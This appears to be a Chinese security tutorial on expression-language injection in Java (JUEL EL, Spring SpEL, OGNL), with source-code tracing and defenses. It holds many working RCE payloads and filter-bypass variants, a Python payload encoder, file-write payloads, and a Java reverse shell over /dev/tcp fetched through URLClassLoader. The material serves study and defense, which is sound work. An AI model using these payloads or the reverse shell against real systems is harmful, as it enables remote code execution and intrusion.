    EL 表达式注入漏洞EL表达式注入漏洞原理: 表达式外部可控导致攻击者注入恶意表达式实现任意代码执行. 一般来说,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中, 即Java程序中的EL表达式内容全部或部分是从外部获取的.CVE-2011-2730JUELEL曾经是JSTL的一部分, 然后EL进入了JSP 2.0标准. 现在EL API已被分离到包javax.el中, 并且已删除了对核心JSP类的所有依赖关系, 也就是说, 现在EL表达式所依赖的包javax.el等都在JUEL相关的jar包中.JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现, 具有高性能、插件式缓存、小体积、支持方法调用和多参数调用、可插拔多种特性.例如如下代码, 利用反射调用Runtime类方法实现命令执行:

    de.odysseus.juel

    juel-api

    2.2.7

    de.odysseus.juel

    juel-spi

    2.2.7

    de.odysseus.juel

    juel-impl

    2.2.7

    package h3rmek1t.javawebsecurity;

    import de.odysseus.el.ExpressionFactoryImpl;

    import de.odysseus.el.util.SimpleContext;

    import javax.el.ExpressionFactory;

    import javax.el.ValueExpression;

    /**

    * @Author: H3rmesk1t

    * @Data: 2022/3/18 12:05 上午

    */

    public class ElShell {

    public static void main(String[] args) {

    ExpressionFactory expressionFactory = new ExpressionFactoryImpl();

    SimpleContext simpleContext = new SimpleContext();

    String shell = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a Calculator')}";

    ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, shell, String.class);

    System.out.println(valueExpression.getValue(simpleContext));

    }

    }

    绕过方法利用反射机制同JUEL中反射调用Runtime类方法实现命令执行.利用 ScriptEngine 调用 JS 引擎绕过这个和SpEL注入中的手法是一样的.${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")}

    防御方法尽量不使用外部输入的内容作为EL表达式内容;使用外部输入的内容作为EL表达式内容时, 需严格过滤EL表达式注入漏洞的Payload关键字;排查Java程序中JUEL相关代码, 搜索如下关键类方法javax.el.ExpressionFactory.createValueExpression()javax.el.ValueExpression.getValue()参考EL表达式浅析EL表达式注入漏洞SpEL表达式注入SpEL 简介Spring表达式语言(简称SpEl)是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL, 但提供额外的功能, 最出色的就是函数调用和简单字符串的模板函数.尽管有其他可选的Java表达式语言, 如OGNL,MVEL,JBoss EL等等, 但Spel创建的初衷是了给Spring社区提供一种简单而高效的表达式语言, 一种可贯穿整个Spring产品组的语言, 这种语言的特性应基于Spring产品的需求而设计. 虽然SpEL引擎作为Spring组合里的表达式解析的基础, 但它不直接依赖于Spring, 可独立使用.SpEL特性:使用Bean的ID来引用Bean;可调用方法和访问对象的属性;可对值进行算数、关系和逻辑运算;可使用正则表达式进行匹配;可进行集合操作.SpEL表达式语言支持以下功能:文字表达式.布尔和关系运算符.正则表达式.类表达式.访问properties,arrays,lists,maps.方法调用.关系运算符.参数.调用构造函数.Bean引用.构造Array.内嵌lists.内嵌maps.三元运算符.变量.用户定义的函数.集合投影.集合筛选.模板表达式.SpEL 使用SpEL的用法有三种形式, 一种是在注解@Value中, 一种是XML配置, 最后一种是在代码块中使用Expression.注解 @Value 用法@Value能修饰成员变量和方法形参,#{}内就是SpEL表达式的语法,Spring会根据SpEL表达式语法为变量赋值.public class User {

    @Value("${ spring.user.name }")

    private String Username;

    @Value("#{ systemProperties['user.region'] }")

    private String defaultLocale;

    //...

    }

    XML 配置用法在SpEL表达式中, 使用T(Type)运算符会调用类的作用域和方法,T(Type)操作符会返回一个object, 它可以帮助获取某个类的静态方法, 用法T(全限定类名).方法名(), 即可以通过该类类型表达式来操作类, 例如:

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xsi:schemaLocation="http://www.springframework.org/schema/beans

    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

    Expression 用法各种Spring CVE漏洞基本都是基于Expression形式的SpEL表达式注入.SpEL在求表达式值时一般分为四步:创建解析器:SpEL使用ExpressionParser接口表示解析器, 提供SpelExpressionParser默认实现;解析表达式: 使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象;构造上下文: 准备比如变量定义等等表达式需要的上下文数据(可省);求值: 通过Expression接口的getValue方法根据上下文获得表达式值.主要接口:ExpressionParser接口: 表示解析器, 默认实现是org.springframework.expression.spel.standard包中的SpelExpressionParser类, 使用parseExpression方法将字符串表达式转换为Expression对象, 对于ParserContext接口用于定义字符串表达式是不是模板, 以及模板开始与结束字符;EvaluationContext接口: 表示上下文环境, 默认实现是org.springframework.expression.spel.support包中的StandardEvaluationContext类, 使用setRootObject方法来设置根对象, 使用setVariable方法来注册自定义变量, 使用registerFunction来注册自定义函数等等.Expression接口: 表示表达式对象, 默认实现是org.springframework.expression.spel.standard包中的SpelExpression, 提供getValue方法用于获取表达式值, 提供setValue方法用于设置对象值.示例代码如下, 和前面XML配置的用法区别在于程序会将这里传入parseExpression函数的字符串参数当成SpEL表达式来解析, 而无需通过#{}符号来注明:// 操作类弹计算器, java.lang包下的类是可以省略包名的.

    String spel = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";

    // String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";

    ExpressionParser parser = new SpelExpressionParser();

    Expression expression = parser.parseExpression(spel);

    System.out.println(expression.getValue());

    在该用法中, 类实例化同样使用Java关键字new, 且类名必须是全限定名(java.lang包内的类型除外).SpEL 表达式注入漏洞漏洞原理SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:SimpleEvaluationContext: 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别, 公开SpEL语言特性和配置选项的子集.StandardEvaluationContext: 公开全套SpEL语言功能和配置选项, 可以使用它来指定默认的根对象并配置每个可用的评估相关策略.SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集, 不包括Java类型引用、构造函数和bean引用; 而StandardEvaluationContext是支持全部SpEL语法的.由前面知道,SpEL表达式是可以操作类及其方法的, 可以通过类类型表达式T(Type)来调用任意类方法. 这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext, 而它包含了SpEL的所有功能, 在允许用户控制输入的情况下可以成功造成任意命令执行.过程分析将断点打在getValue处, 跟进SpelExpression#getValue, 在创建实例ExpressionState时, 调用this.getEvaluationContext方法.由于没有指定evaluationContext, 会默认获取StandardEvaluationContext实例, 上文讲了其包含了SpEL的所有功能, 这也就是命令得以执行的原因.接着就是获取类然后调用相应的方法来执行命令.RunTime说明: 由于RunTime类使用了单例模式, 获取对象不能直接通过构造方法获得, 必须通过静态方法getRuntime来获得, 调用静态方法的话需要使用SpEL的T()操作符,T()操作符会返回一个object.T(java.lang.Runtime).getRuntime().exec("open -a Calculator")

    T(Runtime).getRuntime().exec(new String[]{"open", "-a", "Calculator"})

    ScriptEngine由于JS中的eval函数可以把字符串当成代码进行解析, 且从JDK6开始自带ScriptEngineManager这个类, 支持在JS中调用Java的对象. 因此, 可以利用Java调用JS引擎的eval, 然后在Payload中反过来调用Java对象.获取所有JavaScript引擎信息:public static void main(String[] args) {

    ScriptEngineManager manager = new ScriptEngineManager();

    List factories = manager.getEngineFactories();

    for (ScriptEngineFactory factory: factories){

    System.out.printf(

    "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +

    "Language version: %s%n" +

    "Extensions: %s%n" +

    "Mime types: %s%n" +

    "Names: %s%n",

    factory.getEngineName(),

    factory.getEngineVersion(),

    factory.getLanguageName(),

    factory.getLanguageVersion(),

    factory.getExtensions(),

    factory.getMimeTypes(),

    factory.getNames()

    );

    }

    }

    通过输出结果可以知道,getEngineByName的参数可以填nashorn,Nashorn,js,JS,JavaScript,javascript,ECMAScript,ecmascript.// nashorn 可以换成其他的引擎名称

    new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.lang.Runtime.getRuntime().exec(s);")

    UrlClassLoaderJVM拥有多种ClassLoader, 不同的ClassLoader会从不同的地方加载字节码文件, 加载方式可以通过不同的文件目录加载, 也可以从不同的jar文件加载, 还包括使用网络服务地址来加载. 常见的几个重要的ClassLoader:BootstrapClassLoader、ExtensionClassLoader和AppClassLoader、UrlClassLoader.利用思路: 远程加载class文件, 通过函数调用或者静态代码块来调用. 先构造一份Exploit.class放到远程vps即可例如, 通过构造方法反弹shell的exp.java:public class exp {

    public exp(String address) {

    address = address.replace(":","/");

    ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5 done");

    try {

    p.start();

    } catch (IOException e) {

    e.printStackTrace();

    }

    }

    }

    new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:9999/exp.jar")}).loadClass("exp").getConstructors()[0].newInstance("127.0.0.1:2333")

    AppClassLoaderAppClassLoader直接面向用户, 它会加载Classpath环境变量里定义的路径中的jar包和目录. 由于双亲委派的存在, 它可以加载到我们想要的类. 使用的前提是获取, 获取AppClassLoader可以通过ClassLoader类的静态方法getSystemClassLoader.T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")

    T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open", "-a", "Calculator"}).start()

    通过其他类获取 AppClassLoader在实际项目中, 开发者往往会导入很多依赖的jar, 或编写自定义类.例如, 这里利用类org.springframework.expression.Expression来获取AppClassLoader.T(org.springframework.expression.spel.standard.SpelExpressionParser).getClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")

    例如, 这里利用自定义类h3rmek1t.javawebsecurity.ElShell来获取AppClassLoader.T(h3rmek1t.javawebsecurity.ElShell).getClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")

    通过内置对象加载 UrlClassLoader参考Spring SPEL注入漏洞利用.request、response对象是web项目的常客, 在web项目如果引入了spel的依赖, 那么这两个对象会自动被注册进去.{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}

    username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")]=asdf

    ByPass反射调用T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")

    #this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")

    反射调用 && 字符串拼接T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})

    #this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})

    动态生成字符当执行的系统命令被过滤或者被URL编码掉时, 可以通过String类动态生成字符.Part1T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)))

    Part2new java.lang.ProcessBuilder(new String[]{new java.lang.String(new byte[]{111,112,101,110}),new java.lang.String(new byte[]{45,97}),new java.lang.String(new byte[]{67,97,108,99,117,108,97,116,111,114})}).start()

    用于String类动态生成字符的字符ASCII码转换生成:def shell():

    shell = input('Enter shell to encode: ')

    part1_shell = 'T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(shell[0])

    for c in shell[1:]:

    part1_shell += '.concat(T(java.lang.Character).toString(%s))' % ord(c)

    part1_shell += ')'

    print('\nPart1: ')

    print(part1_shell + '\n')

    part2_shell = 'new java.lang.ProcessBuilder(new String[]{'

    args = shell.split(' ')

    len_args = len(args)

    len_temp = 0

    while(len_temp < len_args):

    temp = 'new java.lang.String(new byte[]{'

    for i in range(len(args[len_temp])):

    temp += str(ord(args[len_temp][i]))

    if (i != len(args[len_temp]) - 1):

    temp += ','

    temp += '})'

    part2_shell += temp

    len_temp += 1

    if len_temp != len_args:

    part2_shell += ','

    part2_shell += '}).start()'

    print('\nPart2: ')

    print(part2_shell + '\n')

    if __name__ == '__main__':

    shell()

    JavaScript 引擎T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

    T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(\"s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\"))

    JavaScript 引擎 && 反射调用T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})))

    JavaScript 引擎 && URL 编码T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(T(java.net.URLDecoder).decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6f%70%65%6e%20%2d%61%20%43%61%6c%63%75%6c%61%74%6f%72%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\")))

    JShell在JDK9中新增的shell.T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('open -a Calculator').toString()

    绕过 T( 过滤SpEL对字符的编码时,%00会被直接替换为空.T%00(new)

    绕过 getClass(// 这里的 15 可能需要替换为 14, 不同 jdk 版本的序号不同.

    "".class.getSuperclass().class.forName("java.lang.Runtime").getDeclaredMethods()[15].invoke("".class.getSuperclass().class.forName("java.lang.Runtime").getDeclaredMethods()[7].invoke(null),"open -a Calculator")

    回显上文中讲述了如何通过SpEL执行系统命令, 接着来看看如何在一行SpEL语句中获得命令执行的回显.commons-io使用commons-io这个组件实现回显, 这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件.T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())

    JShell上文中的JShell是可以实现回显输出的, 但是这种方式会受限于jdk的版本问题.T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

    BufferedReaderjdk原生类实现回显的输出, 但是该方法只能读取一行.new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("whoami").start().getInputStream(), "gbk")).readLine()

    Scanner利用Scanner#useDelimiter方法使用指定的字符串分割输出, 因此这里给一个乱七八糟的字符串即可, 就会让所有的字符都在第一行, 然后执行next方法即可获得所有输出.new java.util.Scanner(new java.lang.ProcessBuilder("ls", "/").start().getInputStream(), "GBK").useDelimiter("h3rmesk1t").next()

    读写文件读文件new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp"))))

    写文件T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)

    检测与防御检测方法全局搜索关键特征:// 关键类

    org.springframework.expression.Expression

    org.springframework.expression.ExpressionParser

    org.springframework.expression.spel.standard.SpelExpressionParser

    // 调用特征

    ExpressionParser parser = new SpelExpressionParser();

    Expression expression = parser.parseExpression(str);

    expression.getValue()

    expression.setValue()

    防御方法最直接的修复方法是使用SimpleEvaluationContext替换StandardEvaluationContext.String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";

    ExpressionParser parser = new SpelExpressionParser();

    Student student = new Student();

    EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();

    Expression expression = parser.parseExpression(spel);

    System.out.println(expression.getValue(context));

    参考SpEL注入RCE分析与绕过SpEL表达式注入漏洞总结Spring 表达式语言 (SpEL)OGNL表达式注入OGNL 简介OGNLstands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property.The Ognl class contains convenience methods for evaluating OGNL expressions. You can do this in two stages, parsing an expression into an internal form and then using that internal form to either set or get the value of a property; or you can do it in a single stage, and get or set a property using the String form of the expression directly.OGNL 三要素表达式(Expression): 表达式是整个OGNL的核心内容, 所有的OGNL操作都是针对表达式解析后进行的. 通过表达式来告诉OGNL操作要干些什么. 因此, 表达式其实是一个带有语法含义的字符串, 整个字符串将规定操作的类型和内容.OGNL表达式支持大量的表达式, 如"链式访问对象"、表达式计算、甚至还支持Lambda表达式.Root对象:OGNL的Root对象可以理解为OGNL的操作对象. 当指定了一个表达式的时候, 需要指定这个表达式针对的是哪个具体的对象. 而这个具体的对象就是Root对象, 这就意味着, 如果有一个OGNL表达式, 则需要针对Root对象来进行OGNL表达式的计算并且返回结果.上下文环境: 有个Root对象和表达式, 就可以使用OGNL进行简单的操作了, 如对Root对象的赋值与取值操作. 但是, 实际上在OGNL的内部, 所有的操作都会在一个特定的数据环境中运行. 这个数据环境就是上下文环境(Context).OGNL的上下文环境是一个Map结构, 称之为OgnlContext.Root对象也会被添加到上下文环境当中去, 简而言之, 上下文就是一个MAP结构, 它实现了java.utils.Map的接口.在Struct2中ActionContex即OGNL的Context, 其中包含的ValueStack即为OGNL的Root.ActionContextActionContext是上下文对象, 对应OGNL的Context, 是一个以MAP为结构、利用键值对关系来描述对象中的属性以及值的对象, 简单来说可以理解为一个action的小型数据库, 整个action生命周期(线程)中所使用的数据都在这个ActionContext中.除了三个常见的作用域request、session、application外, 还有以下三个作用域:attr: 保存着上面三个作用域的所有属性, 如果有重复的则以request域中的属性为基准;paramters: 保存的是表单提交的参数;VALUE_STACK: 值栈, 保存着valueStack对象, 也就是说可以通过ActionContext访问到valueStack中的值.ValueStack值栈(ValueStack)就是OGNL表达式存取数据的地方. 在一个值栈中封装了一次请求所需要的所有数据.在使用Struts2的项目中,Struts2会为每个请求创建一个新的值栈, 也就是说, 值栈和请求是一一对应的关系, 这种一一对应的关系使值栈能够线程安全地为每个请求提供公共的数据存取服务.值栈可以作为一个数据中转站在前台与后台之间传递数据, 最常见的就是将Struts2的标签与OGNL表达式结合使用. 值栈实际上是一个接口, 在Struts2中利用OGNL时, 实际上使用的就是实现了该接口的OgnlValueStack类, 这个类是OGNL的基础. 值栈贯穿整个Action的生命周期, 每个Action类的对象实例都拥有一个ValueStack对象, 在ValueStack对象中保存了当前Action对象和其他相关对象. 要获取值栈中存储的数据, 首先应该获取值栈, 值栈的获取有两种方式.在 request 中获取值栈ValueStack对象在request范围内的存储方式为request.setAttribute("struts.valueStack",valuestack), 可以通过如下方式从request中取出值栈的信息://获取 ValueStack 对象,通过 request 对象获取

    ValueStack valueStack = (ValueStack)ServletActionContext.getRequest().getAttribute(ServletActionContext.STRUTS_VALUESTACK_KEY);

    在 ActionContext 中获取值栈在使用Struts2框架时, 可以使用OGNL操作Context对象从ValueStack中存取数据, 也就是说, 可以从Context对象中获取ValueStack对象. 实际上,Struts2框架中的Context对象就是ActionContext.ActionContext获取ValueStack对象的方式如下所示:// 通过 ActionContext 获取 valueStack 对象.

    ValueStack valueStack = ActionContext.getContext().getValueStack();

    ActionContext对象是在StrutsPrepareAndExcuteFilter#doFilter方法中被创建的, 在源码中用于创建ActionContext对象的createActionContext方法内可以找到获取的ValueStack对象的信息. 方法中还有这样一段代码:ctx = new ActionContext(stack.getContext());

    从上述代码中可以看出,ValueStack对象中的Context对象被作为参数传递给了ActionContext对象, 这也就说明ActionContext对象中持有了ValueStack对象的引用, 因此可以通过ActionContext对象获取ValueStack对象.OGNL 基本语法OGNL支持各种纷繁复杂的表达式, 但是最最基本的表达式的原型是将对象的引用值用点从左到右串联起来, 每一次表达式计算返回的结果成为当前对象, 后面部分接着在当前对象上进行计算, 一直到全部表达式计算完成, 返回最后得到的对象.OGNL则针对这条基本原则进行不断的扩充, 从而使之支持对象树、数组、容器的访问, 甚至是类似SQL中的投影选择等操作.基本对象树访问对象树的访问就是通过使用点号将对象的引用串联起来进行, 例如:xxxx

    xxxx.xxxx

    xxxx.xxxx.xxxx

    容器变量访问对容器变量的访问, 是通过#加上表达式进行的, 例如:#xxxx

    #xxxx.xxxx

    #xxxx.xxxx.xxxx.xxxx

    操作符号OGNL表达式中能使用的操作符基本跟Java里的操作符一样, 除了能使用+,-,*,/,++,--,==,!=,=等操作符外, 还能使用mod,in,not in等.容器、数组、对象OGNL支持对数组和ArrayList等容器的顺序访问, 例如:group.users[0]. 同时,OGNL支持对Map的按键值查找, 例如:#session['mySessionPropKey']. 不仅如此,OGNL还支持容器的构造的表达式, 例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map. 也可以通过任意类对象的构造函数进行对象新建, 例如:new Java.net.URL("xxxxxx/").静态方法或变量的访问要引用类的静态方法和字段, 它们的表达方式是一样的@class@member或者@class@method(args), 例如:@com.javaeye.core.Resource@ENABLE,@com.javaeye.core.Resource@getAllResources.方法调用直接通过类似Java的方法调用方式进行, 甚至可以传递参数, 例如:user.getName(),group.users.size(),group.containsUser(#requestUser).投影和选择OGNL支持类似数据库中的投影(projection)和选择(selection).投影就是选出集合中每个元素的相同属性组成新的集合, 类似于关系数据库的字段操作, 投影操作语法为collection.{XXX}, 其中XXX是这个集合中每个元素的公共属性, 例如:group.userList.{username}将获得某个group中的所有user的name的列表.选择就是过滤满足selection条件的集合元素, 类似于关系数据库的纪录操作, 选择操作的语法为:collection.{X YYY}, 其中X是一个选择操作符, 后面则是选择用的逻辑表达式. 而选择操作符有三种:?选择满足条件的所有元素.^选择满足条件的第一个元素.$选择满足条件的最后一个元素.例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表.OGNL 语法树OGNL语法树有两种形式, 每个括号对应语法树上的一个分支, 并且从最右边的叶子节点开始解析执行:(expression)(constant) = value(constant)((expression1)(expression2))其它. 符号所有的OGNL表达式都基于当前对象的上下文来完成求值运算, 链的前面部分的结果将作为后面求值的上下文, 例如:name.toCharArray()[0].numbericValue.toString()

    提取根(root)对象的name属性.调用上一步返回的结果字符串的toCharArray方法.提取返回结果数组的第一个字符.获取字符的numbericValue属性, 该字符是一个Character对象,Character类有个getNumeericValue方法.调用结果Integer对象的toString方法.%, #, $ 的区别# 符#符主要有三种用途:访问非根对象属性, 即访问OGNL上下文和Action上下文, 由于Struts2中值栈被视为根对象, 所以访问其他非根对象时需要加#前缀,#相当于ActionContext.getContext();用于过滤和投影(projecting)集合, 例如:books.{? #this.price<100};用于构造Map, 例如#{'foo1':'bar1', 'foo2':'bar2'}.% 符%符的用途是在标志的属性为字符串类型时, 告诉执行环境%{}里的是OGNL表达式并计算表达式的值.$ 符$符的主要作用是在相关配置文件中引入OGNL表达式, 让其在配置文件中也能解析OGNL表达式.., #, @ 的区别获取静态函数和变量的时候用@.获取非静态函数用.号.获取非静态变量用#.OGNL 与 EL 的区别OGNL表达式是Struts2的默认表达式语言, 所以只针对Struts2标签有效; 然而EL在HTML中也可以使用.Struts2标签用的都是OGNL表达式语言, 所以它多数都是去值栈的栈顶找值, 找不到再去作用域; 相反,EL都是去Map集合作用域中找.能解析 OGNL 的 API能解析OGNL的API如下表所示:类名方法名com.opensymphony.xwork2.util.TextParseUtiltranslateVariables, translateVariablesCollectioncom.opensymphony.xwork2.util.TextParserevaluatecom.opensymphony.xwork2.util.OgnlTextParserevaluatecom.opensymphony.xwork2.ognl.OgnlUtilsetProperties, setProperty, setValue, getValue, callMethod, compileorg.apache.struts2.util.VelocityStrutsUtilevaluateorg.apache.struts2.util.StrutsUtilisTrue, findString, findValue, getText, translateVariables, makeSelectListorg.apache.struts2.views.jsp.ui.OgnlToolfindValuecom.opensymphony.xwork2.util.ValueStackfindString, findValue, setValue, setParametercom.opensymphony.xwork2.ognl.OgnlValueStackfindString, findValue, setValue, setParameter, trySetValueognl.OgnlparseExpression, getValue, setValue调用过程中可能会涉及到的一些类:涉及类名方法名com.opensymphony.xwork2.ognl.OgnlReflectionProvidergetGetMethod, getSetMethod, getField, setProperties, setProperty, getValue, setValuecom.opensymphony.xwork2.util.reflection.ReflectionProvidergetGetMethod, getSetMethod, getField, setProperties, setProperty, getValue, setValueOGNL 表达式注入漏洞漏洞原理上文中讲到了OGNL可以访问静态方法、属性以及对象方法等, 其中包含可以执行恶意操作如命令执行的类java.lang.Runtime等, 当OGNL表达式外部可控时, 攻击者就可以构造恶意的OGNL表达式来让程序执行恶意操作, 这就是OGNL表达式注入漏洞.POC可以看到getValue和setValue都能成功解析恶意的OGNL表达式.package h3rmek1t.javawebsecurity;

    import ognl.Ognl;

    import ognl.OgnlContext;

    /**

    * @Author: H3rmesk1t

    * @Data: 2022/3/19 1:34 上午

    */

    public class ognlExploit {

    public static void main(String[] args) throws Exception {

    // 创建一个 OGNL 上下文对象.

    OgnlContext ognlContext = new OgnlContext();

    // 触发 getValue.

    Ognl.getValue("@java.lang.Runtime@getRuntime().exec('open -a Calculator')", ognlContext, ognlContext.getRoot());

    // 触发 setValue.

    Ognl.setValue(Runtime.getRuntime().exec("open -a Calculator"), ognlContext, ognlContext.getRoot());

    }

    }

    过程分析在Ognl.getValue处打下断点, 跟进Ognl#getValue方法, 会调用Ognl#parseExpression方法, 该方法将传入的String类型的字符串解析为OGNL表达式能理解的ASTChain类型.接着将传入的ASTChain类型的tree参数转换成Node类型(ASTChain继承自SimpleNode、SimpleNode继承自Node), 再调用其getValue函数继续解析.跟进SimpleNode#evaluateGetValueBody, 可以看到其会继续调用getValueBody方法.接着跟进ASTMethod#getValueBody, 这里会循环解析ASTChain中每个节点的表达式, 这里有两个子节点, 首先会解析第一个节点即@java.lang.Runtime@getRuntime()这个OGNL表达式, 接着会调用OgnlRuntime#callMethod.跟进OgnlRuntime#callMethod, 接着会调用ObjectMethodAccessor#callMethod, 获取到java.lang.Runtime类的getRuntime方法后, 会进一步调用OgnlRuntime#callAppropriateMethod方法进行解析.跟进OgnlRuntime#callAppropriateMethod中, 这里通过调用invokeMethod函数来实现OGNL表达式中的类方法的调用.跟进invokeMethod函数, 会调用Method.invoke, 即通过反射机制实现java.lang.Runtime.getRuntime方法的调用.简单地说,OGNL表达式的getValue解析过程就是先将整个OGNL表达式按照语法树分为几个子节点树, 然后循环遍历解析各个子节点树上的OGNL表达式, 其中通过Method.invoke即反射的方式实现任意类方法调用, 将各个节点解析获取到的类方法通过ASTChain链的方式串连起来实现完整的表达式解析、得到完整的类方法调用.Payload// 获取 Context 里面的变量.

    #user

    #user.name

    // 使用 Runtime 执行系统命令.

    @java.lang.Runtime@getRuntime().exec("open -a Calculator")

    // 使用 Processbuilder 执行系统命令.

    (new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a", "Calculator"})).start()

    // 获取当前路径.

    @java.lang.System@getProperty("user.dir")

    参考OGNL表达式注入漏洞总结 # web安全 # java漏洞 # CTF # JAVA安全

    已在FreeBuf发表 0 篇文章

    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022

    被以下专辑收录,发现更多精彩内容

    + 收入我的专辑

    + 加入我的收藏

    展开更多

    相关推荐

    关 注 0 文章数 0 关注者

    文章目录

